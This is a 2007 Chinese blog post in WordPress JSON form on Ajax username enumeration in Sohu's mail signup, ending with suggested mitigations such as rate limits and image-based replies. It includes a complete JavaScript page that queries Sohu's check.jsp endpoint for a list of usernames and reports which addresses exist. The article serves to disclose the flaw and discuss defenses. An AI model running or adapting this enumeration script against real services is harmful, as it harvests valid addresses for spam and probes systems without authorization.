{"id":91,"date":"2007-06-06T12:00:00","date_gmt":"2007-06-06T12:00:00","guid":{"rendered":""},"modified":"2011-04-25T08:40:56","modified_gmt":"2011-04-25T08:40:56","slug":"ajax%e8%ae%a9sohu%e9%82%ae%e7%ae%b1%e6%88%90%e4%b8%ba%e5%9e%83%e5%9c%be%e9%82%ae%e4%bb%b6%e7%9a%84%e5%b8%ae%e5%87%b6","status":"publish","type":"post","link":"https:\/\/www.inbreak.net\/archives\/91.html","title":{"rendered":"Ajax\u8ba9Sohu\u90ae\u7bb1\u6210\u4e3a\u5783\u573e\u90ae\u4ef6\u7684\u5e2e\u51f6"},"content":{"rendered":"

\u3010IT168 \u4e13\u7a3f\u3011\u4eca\u5929\uff0c\u7535\u5b50\u90ae\u7bb1\uff08E-mail\uff09\u65e0\u7591\u5df2\u7ecf\u6210\u4e3a\u5927\u4f17\u901a\u8baf\u7684\u5de5\u5177\uff1b\u7531\u4e8e\u5783\u573e\u90ae\u4ef6\u6cdb\u6ee5\uff0cE-mail\u4e5f\u6210\u4e3a\u4fe1\u606f\u5b89\u5168\u7684\u91cd\u5927\u9690\u60a3\u4e4b\u4e00\u3002\u641c\u7d22\u5230\u6709\u6548\u90ae\u4ef6\u5730\u5740\u6210\u4e3a\u5783\u573e\u90ae\u4ef6\u53d1\u9001\u6210\u529f\u4e0e\u5426\u7684\u51b3\u5b9a\u8981\u7d20\u3002\u968f\u7740Ajax\u65b0\u5174\u6280\u672f\u5728\u5927\u578b\u7f51\u7ad9\uff0c\u5982SOHU\u7b49\u5f97\u5230\u5e94\u7528\uff0c\u4f7f\u5f97\u5783\u573e\u90ae\u4ef6\u5236\u9020\u8005\u6709\u673a\u53ef\u4e58\u3002<\/p>\n

\u73b0\u5728\u6d4f\u89c8\u5668\u7aef\u4ee5 JavaScript \u4e3a\u6838\u5fc3\uff0c\u57fa\u4e8e\u5404\u79cd Web \u6807\u51c6(\u5373:\u65e9\u5df2\u5b8c\u6210\u6807\u51c6\u5316\u7684XHTML\/CSS\/DOM\/XML\/XSLT \u548c\u6b63\u5728\u8fdb\u884c\u6807\u51c6\u5316\u7684XMLHTTP)\u7684\u6280\u672f\u6b63\u5728\u52a0\u901f\u6574\u5408\uff0cAjax \u5c31\u662f\u8fd9\u4e00\u7cfb\u5217\u6280\u672f\u7684\u4e00\u4e2a\u7edf\u79f0\u3002\u5176\u5173\u952e\u5728\u4e8e\u5bf9\u6d4f\u89c8\u5668\u7aef\u7684JavaScript\u3001DHTML\u548c\u4e0e\u670d\u52a1\u5668\u5f02\u6b65\u901a\u4fe1\u7684\u7ec4\u5408\u3002\u4f7f\u7528Ajax\uff0c\u53ef\u4ee5\u4f7fB\/S\uff08\u6d4f\u89c8\u5668\/\u670d\u52a1\u5668\uff09\u6a21\u5f0f\u7684\u7a0b\u5e8f\u51fa\u73b0\u7c7b\u4f3c\u4e8eC\/S\uff08\u5ba2\u6237\u673a\u548c\u670d\u52a1\u5668\u7ed3\u6784\uff09\u7684\u5373\u65f6\u52a8\u6001cool\u6548\u679c\uff0c\u5b9e\u73b0\u4e0d\u5237\u65b0\u9875\u9762\uff0c\u52a8\u6001\u6539\u53d8\u9875\u9762\u6570\u636e\u3002<\/p>\n

\u76ee\u524d\u5f88\u591a\u5927\u578b\u7684\u7f51\u7ad9\u5df2\u7ecf\u5927\u8303\u56f4\u4f7f\u7528\u4e86Ajax\u6280\u672f\uff0c\u6bd4\u5982\u6211\u4eec\u7ecf\u5e38\u770b\u5230\u7684\uff1agoogle\u641c\u7d22\u65f6\u51fa\u6765\u7684\u641c\u7d22\u6b21\u6570\u4ee5\u53ca\u53ef\u80fd\u641c\u7d22\u5230\u7684\u4e0b\u62c9\u5217\u8868\u3001\u5728\u6ce8\u518c\u7528\u6237\u65f6\u8f93\u5165\u7528\u6237\u540d\u540e\uff0c\u81ea\u52a8\u663e\u793a\u8be5\u7528\u6237\u662f\u5426\u53ef\u4ee5\u88ab\u6ce8\u518c\u7b49\u7b49\u3002\u7136\u800c\u8fd9\u9879\u6280\u672f\u5728\u7ed9\u7528\u6237\u5e26\u6765\u4fbf\u5229\u7684\u540c\u65f6\uff0c\u82e5\u662f\u8003\u8651\u4e0d\u5468\u4e5f\u4f1a\u7ed9\u5e26\u6765\u4e00\u5b9a\u7684\u5b89\u5168\u9690\u60a3\u3002<\/p>\n

\u6211\u4eec\u77e5\u9053\u5728\u5f00\u53d1\u7a0b\u5e8f\u7528\u6237\u767b\u9646\u6a21\u5757\uff0c\u5904\u7406\u7528\u6237\u767b\u5f55\u5931\u8d25\u65f6\uff0c\u51fa\u4e8e\u5b89\u5168\u65b9\u9762\u8003\u8651\uff0c\u4e0d\u80fd\u8fd4\u56de\u7ed9\u7528\u6237\u5177\u4f53\u7684\u201c\u5bc6\u7801\u9519\u8bef\u201d\u6216\u201c\u7528\u6237\u540d\u9519\u8bef\u201d\uff0c\u800c\u8981\u8bf4\uff1a\u201c\u7528\u6237\u540d\u6216\u5bc6\u7801\u9519\u8bef\u201d\u3002\uff08\u5982\u56fe1\uff09<\/p>\n

<\/p>\n

\u65e2\u7136\u8fd9\u6837\uff0c\u5f53\u7136\u5c31\u4e0d\u80fd\u5728\u5176\u4ed6\u5730\u65b9\u7ed9\u7528\u6237\u8fd4\u56de\uff0c\u5177\u4f53\u662f\u7528\u6237\u540d\u9519\u8bef\u8fd8\u662f\u5bc6\u7801\u9519\u8bef\u3002\u4f46\u662f\u6709\u4e9b\u7f51\u7ad9\u91c7\u7528Ajax\u6280\u672f\u4e4b\u540e\uff0c\u867d\u662f\u7ed9\u7528\u6237\u5e26\u6765\u4fbf\u6377\u4e3a\u76ee\u7684\uff0c\u5374\u72af\u4e86\u8fd9\u6837\u7684\u9519\u8bef\u3002\u636e\u7b14\u8005\u7ecf\u8fc7\u4e00\u7cfb\u5217\u7684\u6d4b\u8bd5\u53d1\u73b0\uff0c\u56fd\u5185\u5f88\u591a\u95e8\u578b\u7f51\u7ad9\u7684\u90ae\u4ef6\u7cfb\u7edf\u90fd\u5b58\u5728\u8fd9\u6837\u7684\u6f0f\u6d1e\uff0c SOHU\u3001\u7f51\u6613\u300121CN\u7b49\u90fd\u72af\u4e86\u4e0a\u8ff0\u9519\u8bef\u3002\u6211\u4eec\u5c31\u4ee5Sohu\u4e3a\u4f8b\uff0c\u770b\u770b\u5783\u573e\u90ae\u4ef6\u5236\u4f5c\u8005\u662f\u5982\u4f55\u5229\u7528\u5176email\u5e10\u6237\u66b4\u9732\u6f0f\u6d1e\uff0c\u5f97\u5230\u6709\u6548\u90ae\u4ef6\u5730\u5740\u5217\u8868\u7684\u3002<\/p>\n

\u8bf4\u5230\u5982\u4f55\u66b4\u51fa\u90ae\u4ef6\u7cfb\u7edf\u7684email\u5e10\u6237\uff0c\u6709\u4e9b\u8bfb\u8005\u5df2\u7ecf\u60f3\u5230\u672c\u6587\u5f00\u5934\u7684\u4f8b\u5b50\u201c\u5728\u6ce8\u518c\u7528\u6237\u65f6\u8f93\u5165\u7528\u6237\u540d\u540e\uff0c\u81ea\u52a8\u663e\u793a\u8be5\u7528\u6237\u662f\u5426\u53ef\u4ee5\u88ab\u6ce8\u518c\u201d\uff0c\u8bf4\u7684\u5c31\u662f\u8fd9\u4e2a\u4f8b\u5b50\u3002\u5927\u5bb6\u53ef\u4ee5\u53bbsohu\u6ce8\u518c\u4e00\u4e2a\u5e10\u6237\uff1ahttp:\/\/passport.sohu.com\/web\/signup.jsp\uff0c\u8f93\u5165\u7528\u6237\u540d\uff0c\u5149\u6807\u79fb\u5230\u201c\u8bf7\u8f93\u5165\u5bc6\u7801\u201d\u7684\u8f93\u5165\u6846\uff0c\u5982\u679c\u8fd9\u4e2a\u7528\u6237\u5b58\u5728\uff0c\u9a6c\u4e0a\u540e\u9762\u4f1a\u63d0\u793a\uff1a\uff08\u56fe2\uff09
\n<\/p>\n

\u5982\u679c\u4e0d\u5b58\u5728\uff0c\u5219\u63d0\u793a\uff1a
\n<\/p>\n

\u90a3\u4e48\u8fd9\u4e24\u4e2a\u4fe1\u606f\u662f\u600e\u4e48\u6765\u7684\u5462\uff1f\u8fd9\u91cc\u7684Ajax\u5904\u7406\u6d41\u7a0b\u662f\uff0cJavaScript\u8c03\u7528\u4e86\u76f8\u5e94\u7684XMLHttpReques\u5bf9\u8c61\u53bb\u8bbf\u95ee\u4e00\u4e2aweb\u5e94\u7528\u7a0b\u5e8f\uff0c\u7136\u540e\u83b7\u53d6\u8fd4\u56de\u7ed3\u679c\u540e\uff0c\u76f4\u63a5\u628a\u8fd4\u56de\u7684\u7ed3\u679c\u8f93\u51fa\u5230\u9875\u9762\u3002<\/p>\n

<\/p>\n

\u90e8\u5206\u6e90\u4ee3\u7801\uff1a <\/p>\n

code:<\/font><\/p>\n


<\/p>\n

<script language="JavaScript">
\n\u2026…
\n var checkusername = false;
\n function getMyHTML(serverPage, objID) {
\n var Ajax = GetO();
\n var obj = document.getElementById(objID); Ajax.open("GET", serverPage, true);
\n Ajax.onreadystatechange = function() {
\n\/\/\u670d\u52a1\u5668\u8fd4\u56de\u72b6\u6001\u4e3a4\uff08\u6570\u636e\u5168\u90e8\u63a5\u6536\u5b8c\u6210\uff09\u5e76\u4e14http\u8fd4\u56de\u503c\u4e3a200\uff08\u6b63\u5e38\u8bbf\u95ee\uff09
\n if (Ajax.readyState == 4 &amp;& Ajax.status == 200) {
\n\/\/\u628aresponseText\uff08\u8fd4\u56de\u503c\u66ff\u6362\u5c42\u7684html\u4ee3\u7801\uff09
\n obj.innerHTML = Ajax.responseText;
\n }
\n }
\n Ajax.send(null);
\n }
\n\/\/\u521b\u5efaXMLHttpReques\u5bf9\u8c61
\n function GetO(){
\n var Ajax=false;
\n try {
\n Ajax = new ActiveXObject("Msxml2.XMLHTTP");
\n } catch (e) {
\n try {
\n Ajax = new ActiveXObject("Microsoft.XMLHTTP");
\n } catch (E) {
\n Ajax = false;
\n }
\n }
\n if (!Ajax && typeof XMLHttpRequest!=’undefined’) {
\n Ajax = new XMLHttpRequest();
\n }
\n return Ajax;
\n }
\n\/\/\u68c0\u67e5\u7528\u6237\u540d\u7684\u65b9\u6cd5
\n\/\/\u5728username\u8f93\u5165\u6846\u7684onchange\u4e8b\u4ef6\u4e2d\u8c03\u7528\u4e86CheckUserName\u65b9\u6cd5\u3002
\nfunction CheckUserName(time){
\n if(document.form1.username.value!=""){
\ngetMyHTML("check.jsp?operator=checkusername&username="+document.form1.username.value+"&userdomain="+document.form1.userdomain.value+"&time="+time,"div_username");
\n }
\n}
\n\u2026\u2026
\n<\/script>
\n<\/i><\/p>\n


<\/blockquote>\n

\u53ef\u4ee5\u770b\u51fa\uff0c\u5b83\u8bbf\u95ee\u4e86check.jsp\u9875\u9762\u9a8c\u8bc1\u7528\u6237\u540d\u662f\u5426\u5b58\u5728\uff0c\u628a\u5730\u5740\u7b80\u5316\u4e00\u4e0b\u7136\u540e\u76f4\u63a5\u8f93\u5165\u5730\u5740\u680f\u8bbf\u95ee\uff1a <\/p>\n

<\/p>\n

\uff08\u56fe6\uff09<\/p>\n

\n \u5728\u5fc5\u8981\u7684\u53c2\u6570\u4e2d\uff0coperator\u662f\u7528\u6765\u5224\u65ad\u8c03\u7528\u4e0d\u540c\u9a8c\u8bc1\u65b9\u6cd5\u7684\uff08\u8be5check\u9875\u9762\u63d0\u4f9b\u4e86\u51e0\u79cd\u4e0d\u540c\u7684\u9a8c\u8bc1\uff0c\u8fd8\u6709\u4e24\u6b21\u5bc6\u7801\u662f\u5426\u4e00\u81f4\u7b49\u7b49\uff09\uff0cuserdomain\u662f\u57df\u540d\uff0csohu\u6709\u51e0\u4e2a\u4e0d\u540c\u57df\u540d\u7684\u90ae\u7bb1\uff0cusername\u5c31\u662f\u7528\u6237\u540d\u4e86\uff0c\u800c\u4ee3\u7801\u4e2d\u7684time\u5e94\u8be5\u662f\u4e3a\u4e86\u4fdd\u8bc1\u6bcf\u6b21get\u63d0\u4ea4\u7684\u65f6\u5019\u8ba9\u6d4f\u89c8\u5668\u4e0d\u7f13\u5b58\u800c\u8bbe\u7684\uff08\u6ca1\u6709\u7ec6\u770b\uff0c\u4e0d\u91cd\u8981\uff09\u3002\u6240\u4ee5\uff0c\u4e09\u4e2a\u53c2\u6570\u4e2d\u4e3b\u8981\u662fusername\u53d1\u751f\u53d8\u5316\uff0c\u800c\u670d\u52a1\u5668\u4ec5\u4ec5\u8fd4\u56de\u4e24\u79cd\u4e0d\u540c\u7684\u7ed3\u679c\u3002<\/p>\n

\u8fd9\u6837\u5c31\u5f88\u5229\u4e8e\u6211\u4eec\u7206\u7834\u7528\u6237\u540d\u4e86\uff0c\u8fd8\u8bb0\u5f97\u6211\u4eec\u600e\u4e48\u66b4\u529b\u7834\u89e3\u90ae\u7bb1\u5bc6\u7801\u4e48\uff1f\u6302\u5b57\u5178\uff0c\u7136\u540e\u4e0d\u65ad\u63d0\u4ea4\uff0c\u5224\u65ad\u670d\u52a1\u5668\u8fd4\u56de\u5b57\u7b26\u4e2d\u6709\u6ca1\u6709\u7279\u5b9a\u7684\u5b57\u7b26\uff0c\u7834\u89e3\u7684\u901f\u5ea6\u53d6\u51b3\u4e8e\u7f51\u901f\u548c\u8fd4\u56de\u5b57\u7b26\u7684\u591a\u5c11\u3002\u6b63\u5e38\u7684\u8bbf\u95ee\u662f\u8fd4\u56de\u4e00\u4e2a\u9875\u9762\uff0c\u8fd9\u6837\u5c31\u6709\u4e00\u5806\u5783\u573e\u6570\u636e\u3002\u7136\u800cAjax\u544a\u8bc9\u6211\u4eec\uff0c\u53ea\u8981\u4ece\u670d\u52a1\u5668\u8fd4\u56de\u201c0\u201d\u548c\u201c1\u201d\u5c31\u53ef\u4ee5\u4f5c\u51fa\u5224\u65ad\uff0c\u6240\u4ee5\u8fd9\u91cc\u8fd4\u56de\u7684\u66f4\u5c11\u4e86\uff0c\u4ec5\u4ec5\u662f\uff1a<\/p>\n

<\/p>\n

\uff08\u56fe7\uff09<\/p>\n

\u4e3a\u6b64\uff0c\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u53ef\u4ee5\u5c1d\u8bd5\u4f7f\u7528\u5176\u4ed6\u66f4\u65b9\u4fbf\u7684\u8bed\u8a00\u5199\u51fa\u5de5\u5177\uff0c\u7528\u4e8e\u641c\u96c6\u6709\u6548\u90ae\u4ef6\u5730\u5740\uff0c\u901f\u5ea6\u4e00\u5b9a\u5f88\u5feb\u3002\u5f88\u591a\u5927\u7f51\u7ad9\u90fd\u4f7f\u7528\u4e86\u8fd9\u6837\u7684\u9a8c\u8bc1\u65b9\u6cd5\uff0c\u5c31\u4e0d\u4e00\u4e00\u4f8b\u4e3e\u4e86\u3002\u6211\u5df2\u7ecf\u4eff\u7167Ajax\u4f7f\u7528JAVASCRIPT\u5199\u4e2a\u7206sohu\u7528\u6237\u540d\u6d4b\u8bd5\u7a0b\u5e8f\uff0c\u76f8\u5173\u4ee3\u7801\u5728\u8fd9\u91cc\u4e0d\u5728\u672c\u6587\u5217\u51fa\u6765\u4e86\u3002\u6709\u5174\u8da3\u7684\u670b\u53cb\u53ef\u4ee5\u53bb\u8bba\u575b\uff08http:\/\/www.ixpub.net\/thread-654600-1-1.html\uff09\u67e5\u770b\u3002<\/p>\n

\u6211\u5217\u4e3e\u4e86\u5927\u5bb6\u53ef\u80fd\u7ecf\u5e38\u60f3\u5230\u7684\u4e00\u4e9b\u89e3\u51b3\u65b9\u6848\uff1a
\n 1\u3001\u5224\u65adrequest\u7684\u6765\u6e90\u5730\u5740\u3002\u8fd9\u6837\u7684\u65b9\u5f0f\u4e0d\u63a8\u8350\uff0c\u56e0\u4e3a\u9ed1\u5ba2\u53ef\u4ee5\u66f4\u6539http\u5305\u5934\uff0c\u4ece\u800c\u7ed5\u8fc7\u68c0\u6d4b\u3002
\n 2\u3001\u91c7\u7528\u9a8c\u8bc1\u7801\u3002\u4e5f\u4e0d\u63a8\u8350\uff0c\u8bf7\u5404\u4f4d\u5927\u5927\u60f3\u4e00\u4e0b\u7528\u6237\u7684\u611f\u53d7\uff0c\u521a\u8f93\u5165\u7528\u6237\u540d\u5c31\u8ba9\u6211\u8f93\u5165\u6ce8\u518c\u7801\uff1f\u8fd9\u6837Ajax\u610f\u4e49\u4f55\u5728\uff1f
\n 3\u3001\u7ed9\u4e00\u4e2aIP\u5728\u4e00\u4e2a\u5c0f\u65f6\u5185\uff0c\u5206\u914d\u4e00\u4e9b\u4efd\u989d\uff0c\u6bd4\u5982500\u4e2a\uff08\u8003\u8651\u5230\u7f51\u5427\u7b49\u7b49\u591a\u53f0\u673a\u5668\u4e00\u4e2aIP\uff0c\u4f7f\u7528NAT\u7684\u5730\u65b9\uff09\u3002
\n 4\u3001\u8fd4\u56de\u968f\u673a\u56fe\u7247\u3002\u8fd9\u662f\u6211\u81ea\u5df1\u8bbe\u60f3\u4e86\u4e00\u79cd\u89e3\u51b3\u65b9\u6848\uff0c\u6ca1\u6709\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u4e0b\u9762\u8be6\u7ec6\u8bf4\u660e\u3002<\/p>\n

\u4ece\u7ed9\u51fa\u7684\u524d\u4e09\u4e2a\u65b9\u6848\u770b\uff0c\u90fd\u5b58\u5728\u4e00\u4e2a\u8bef\u533a\uff0c\u8ba4\u4e3aAjax\u5e94\u8be5\u83b7\u5f97\u670d\u52a1\u5668\u8fd4\u56de\u7684\u4e24\u4e2a\u6709\u7279\u6b8a\u610f\u4e49\u7684\u503c\uff08\u7528\u6237\u540d\u53ef\u7528\u6216\u4e0d\u53ef\u7528\uff09\uff0c\u7136\u540e\u518d\u5224\u65ad\uff0c\u5206\u4e24\u79cd\u60c5\u51b5\u5728\u9875\u9762\u663e\u793a\u51fa\u6765\u4e0d\u540c\u7684\u4fe1\u606f\uff0c\u6216\u8005\u628a\u4e24\u4e2a\u4e0d\u540c\u7684\u8fd4\u56de\u7ed3\u679c\u76f4\u63a5\u7ed9\u7528\u6237\uff0c\u8fd9\u6837\u4e24\u79cd\u7ecf\u5178\u7684\u5904\u7406\u6a21\u5f0f\uff0c\u95ee\u9898\u5c31\u96c6\u4e2d\u5728\u201c\u4e24\u4e2a\u4e0d\u540c\u7ed3\u679c\u7684\u503c\u201d\u8fd9\u91cc\u3002\u73b0\u5728\u6211\u4eec\u4ece\u9700\u6c42\u51fa\u53d1\uff0c\u5206\u6790\u7528\u6237\u5e0c\u671b\u770b\u5230\u7684\u7ed3\u679c\uff0c\u65e0\u975e\u5c31\u662f\u60f3\u77e5\u9053\u7528\u6237\u540d\u662f\u5426\u53ef\u7528\uff0c\u4e5f\u5c31\u662f\u8bf4\u6700\u7ec8\u7684\u7ed3\u679c\u663e\u793a\u5728\u7528\u6237\u5bb9\u6613\u770b\u5230\u7684\u5730\u65b9\uff0c\u800c\u4e14\u7528\u6237\u53ef\u4ee5\u201c\u770b\u61c2\u201d\u4fe1\u606f\uff0c\u5e76\u53ef\u4ee5\u52a0\u4ee5\u533a\u522b\uff08\u77e5\u9053\u80fd\u4e0d\u80fd\u4f7f\u7528\u8fd9\u4e2a\u7528\u6237\u540d\u6ce8\u518c\uff09\u3002\u800c\u9ed1\u5ba2\uff08\u6216\u5783\u573e\u90ae\u4ef6\u641c\u96c6\u8005\uff09\u8ba4\u4e3a\uff0c\u53ea\u8981\u7528\u6237\u80fd\u770b\u61c2\uff0c\u7a0b\u5e8f\u4e5f\u5e94\u8be5\u53ef\u4ee5\u770b\u61c2\u5e76\u9884\u6d4b\u51fa\u4e24\u79cd\u7ed3\u679c\uff0c\u6240\u4ee5\u5c31\u6709\u4e86\u8fd9\u79cd\u66b4\u529b\u83b7\u53d6\u90ae\u7bb1\u540d\u79f0\u7684\u653b\u51fb\u3002\u5982\u679c\u201c\u4eba\u201d\u80fd\u770b\u61c2\u800c\u7a0b\u5e8f\u4e0d\u80fd\u770b\u61c2\u5462\uff1f\u4e3e\u4e2a\u5178\u578b\u7684\u4f8b\u5b50\uff0c\u5927\u5bb6\u8fd8\u8bb0\u5f97QQ\u7f51\u7ad9\u7684\u90a3\u4e2a\u4ee4\u4eba\u8ba8\u538c\u7684\u4e2d\u6587\u9a8c\u8bc1\u7801\u5427\uff1f\u90a3\u4e2a\u4e1c\u897f\u5c31\u662f\u968f\u673a\u7684\uff0c\u7a0b\u5e8f\u4e0d\u80fd\u9884\u6d4b\u5e76\u4e14\u7528\u6237\u53ef\u4ee5\u770b\u61c2\u3002\u5728\u8fd9\u91cc\u4e5f\u53ef\u4ee5\u4f7f\u7528\u8fd9\u9879\u6280\u672f\u3002\u76f4\u63a5\u5728\u670d\u52a1\u5668\u968f\u673a\u628a\u201c\u53ef\u4ee5\u6ce8\u518c\u201d\u548c\u201c\u4e0d\u80fd\u6ce8\u518c\u201d\u56db\u4e2a\u5b57\uff0c\u505a\u6210\u968f\u673a\u56fe\u7247\uff0c\u6587\u5b57\u4ee5\u968f\u673a\u7684\u5b57\u4f53\u548c\u968f\u673a\u7684\u989c\u8272\u51fa\u73b0\u5728\u56fe\u7247\u4e2d\u968f\u673a\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u8fd4\u56de\u7ed9javascript\uff0c\u518d\u7531javascript\u628a\u56fe\u7247\u653e\u5230\u7f51\u9875\u4e2d\uff0c\u7528\u6237\u770b\u5230\u7684\u662f\u8fd4\u56de\u7684\u662f\u968f\u673a\u5927\u5c0f\u7684\u56fe\u7247\uff0c\u66b4\u529b\u83b7\u53d6\u90ae\u7bb1\u540d\u7684\u653b\u51fb\u5c31\u7acb\u523b\u5931\u53bb\u4e86\u6548\u679c\u3002<\/p>\n

<\/p>\n

\uff08\u56fe8\uff09<\/p>\n

\u662f\u5426\u8be5\u5728\u8fd9\u91cc\u4e5f\u4f7f\u7528Ajax\u6280\u672f\uff0c\u65e0\u6240\u8c13\u5bf9\u9519\uff0c\u53ea\u8981\u5927\u7f51\u7ad9\u4e00\u5e26\u5934\uff0c\u8fd9\u6837\u505a\u7684\u5c31\u4f1a\u5927\u6709\u4eba\u5728\uff0c\u53ea\u662f\u6211\u4eec\u5728\u6a21\u4eff\u7684\u65f6\u5019\u4e5f\u8981\u4ed4\u7ec6\u8003\u8651\u3002\u6bd5\u7adfAjax\u7684\u5b9e\u8d28\u5176\u5b9e\u662f\u5728\u7528\u6237\u201c\u611f\u89c9\u4e0d\u51fa\u6765\u201d\u7684\u60c5\u51b5\u4e0b\u8bbf\u95ee\u4e86web\u5e94\u7528\u7a0b\u5e8f\uff0c\u518d\u628a\u8fd4\u56de\u7684\u7ed3\u679c\u4ea4\u7ed9\u7528\u6237\uff0c\u540c\u65f6\u7528\u6237\u53ef\u4ee5\u53bb\u505a\u5176\u4ed6\u7684\u4e8b\u60c5\uff0c\u4e0d\u7528\u7b49\u5f85\u7ed3\u679c\u3002\u65e2\u7136Ajax\u53ef\u4ee5\u8bbf\u95ee\uff0c\u6076\u610f\u7528\u6237\u5f53\u7136\u4e5f\u53ef\u4ee5\u81ea\u5df1\u53bb\u8bbf\u95ee\uff0c\u6240\u4ee5\u6211\u4eec\u5e94\u8be5\u628a\u5904\u7406Ajax\u8bf7\u6c42\u7684web\u5e94\u7528\u7a0b\u5e8f\u50cf\u5176\u4ed6\u9875\u9762\u4e00\u6837\u505a\u597d\u76f8\u5e94\u7684\u9632\u8303\u63aa\u65bd\uff0c\u5c31\u53ef\u4ee5\u6709\u6548\u7684\u907f\u514d\u5b89\u5168\u95ee\u9898\u3002<\/p>\n

——————————————————————————————
\n\u6587\u7ae0\u4e2d\u63d0\u5230\u7684\u4ee3\u7801\u8865\u5145\uff1a<\/p>\n

copy\u51fa\u6765\u4fdd\u5b58\u4e3ahtm\u3002<\/p>\n

code:<\/font><\/p>\n



\n<HTML><HEAD><TITLE>m.html<\/TITLE>
\n<SCRIPT language=javascript>
\n\/\/\u521b\u5efaActiveXObject("Msxml2.XMLHTTP")\u5bf9\u8c61\u3002
\nvar xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");<\/p>\n

\/\/\u521b\u5efa\u4e00\u4e2a\u5168\u5c40\u7684\u6570\u7ec4\uff0c\u53ef\u4ee5\u4ece\u4e0b\u6807\u627e\u51fa\u67d0\u4e2a\u7528\u6237\u540d\u3002
\nvar f = [‘admin1′,’admin2′,’admin3′,’admin4′,’admin5′,’admin6′,’admin7′,’admin8′,’admin9′,’admin10′,’admin11′,’admin12′,’admin13′,’admin14′,’admin15′,’admin16′,’admin17′,’admin18′,’admin19′,’admin21′,’admin20′,’admin22′,’admin23′,’admin24′,’admin25′,’admin26′,’admin27′,’admin28′,’admin29′,’admin30′,’adm0′,’amin30′,’adn30′,’ain30’];
\nvar i = 0;<\/p>\n

\/\/\u53d1\u9001\u65b9\u6cd5
\n function funRequest()
\n {
\n alert(‘\u5f00\u59cb’);
\n for(;i<f.length;i++)
\n {
\n xmlHttp.open(‘GET’, ‘http:\/\/passport.sohu.com\/web\/check.jsp?operator=checkusername&userdomain=sohu.com&username=’+f[i]+’&time=’+(new Date()).getTime(), false);
\n xmlHttp.onreadystatechange = funResponse;
\n xmlHttp.send();
\n }
\n }<\/p>\n

\/\/\u63a5\u6536\u65b9\u6cd5
\n function funResponse()
\n {
\n if (xmlHttp.readyState==4) {
\n if (xmlHttp.status==200) {
\n var txt = xmlHttp.responseText;
\n if (txt.indexOf("\u8be5")>-1)
\n {
\n txtid.innerHTML = txtid.innerHTML + ‘\u5b58\u5728\u7684:’+f[i] + ‘@sohu.com<br>’;
\n }else
\n {
\n txtid.innerHTML = txtid.innerHTML +’\u4e0d\u5b58\u5728:’ + f[i]+ ‘@sohu.com<br>’;
\n }
\n } else {
\n alert(‘\u670d\u52a1\u5668\u72b6\u6001\u9519\u8bef, \u4ee3\u7801:’ + xmlHttp.status);
\n }
\n }
\n }
\n<\/SCRIPT>
\n<\/HEAD>
\n<BODY>
\n<DIV id=txtid align=center>a<BR><\/DIV>
\n<TABLE align=center> <TBODY> <TR> <TD align=middle>
\n Ajax\u67e5\u770b\u641c\u72d0\u7684\u6ce8\u518c\u90ae\u7bb1<br> ps:\u6709\u70b9\u6162\uff0c\u975e\u5f02\u6b65\u8c03\u7528ActiveX<br>
\n <INPUT onclick=funRequest() type=button align=middle value=\u70b9\u6211\u67e5\u770b><BR><\/TD><\/TR><\/TBODY><\/TABLE>
\n<\/BODY><\/HTML><\/p>\n

<\/i><\/p>\n


<\/blockquote>\n","protected":false},"excerpt":{"rendered":"

\u3010IT168 \u4e13\u7a3f\u3011\u4eca\u5929\uff0c\u7535\u5b50\u90ae\u7bb1\uff08E-mail\uff09\u65e0\u7591\u5df2\u7ecf\u6210\u4e3a\u5927\u4f17\u901a\u8baf\u7684\u5de5\u5177\uff1b\u7531 …<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[86,5],"tags":[],"views":4046,"_links":{"self":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/91"}],"collection":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/comments?post=91"}],"version-history":[{"count":1,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/91\/revisions"}],"predecessor-version":[{"id":252,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/posts\/91\/revisions\/252"}],"wp:attachment":[{"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/media?parent=91"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/categories?post=91"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.inbreak.net\/wp-json\/wp\/v2\/tags?post=91"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}